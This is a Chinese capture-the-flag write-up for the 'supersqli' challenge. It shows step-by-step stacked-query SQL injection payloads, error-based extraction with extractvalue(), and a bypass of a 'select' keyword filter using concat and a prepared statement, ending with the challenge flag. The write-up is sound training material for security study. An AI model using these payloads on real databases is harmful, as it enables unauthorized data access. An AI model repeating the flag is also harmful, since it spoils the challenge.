攻防世界supersqli—wp
題目很明顯,應該就是SQL注入,提交1試試
有回顯,那就再提交 1’
報錯了,直接查數據庫看看
提交1’; select databases --+
what’s up?select,update,where都被過濾了,而且還不區分大小寫
那只能1’; show databases --+
有很多數據庫,但是還不知道有什么用,繼續查表單
1’; show tables --+
有兩個表單,那就都看看表單的列
1’;show columns from `1919810931114514` --+
注意這里是 ` ,不是單引號
有flag
1’;show columns from `words` --+
沒有什么信息。
再看看這兩個表單是在那個數據庫里的
這里要用到報錯函數,updatexml()被過濾了,那就用extractvalue()函數
1’ and extractvalue(1,concat(1,database())) --+
數據庫supersqli
1’ ; use supersqli; show tables – +
所以這兩個表單是在數據庫supersqli里面的
到最后還是不可避免的要繞過
通過執行多語句把要執行的sql語句拼接起來,就是把select拆開
1’;use supersqli;set @sql=concat(‘se’,‘lect `flag` from `1919810931114514`’);PREPARE sql_query FROM @sql;EXECUTE sql_query;–+
這里涉及到sql預編譯,有不會的朋友可以百度一下
拿到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
總結
以上是生活随笔為你收集整理的攻防世界supersqli—wp的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 洛谷·【模板】点分树 | 震波【incl
- 下一篇: python 自动交易股票_Python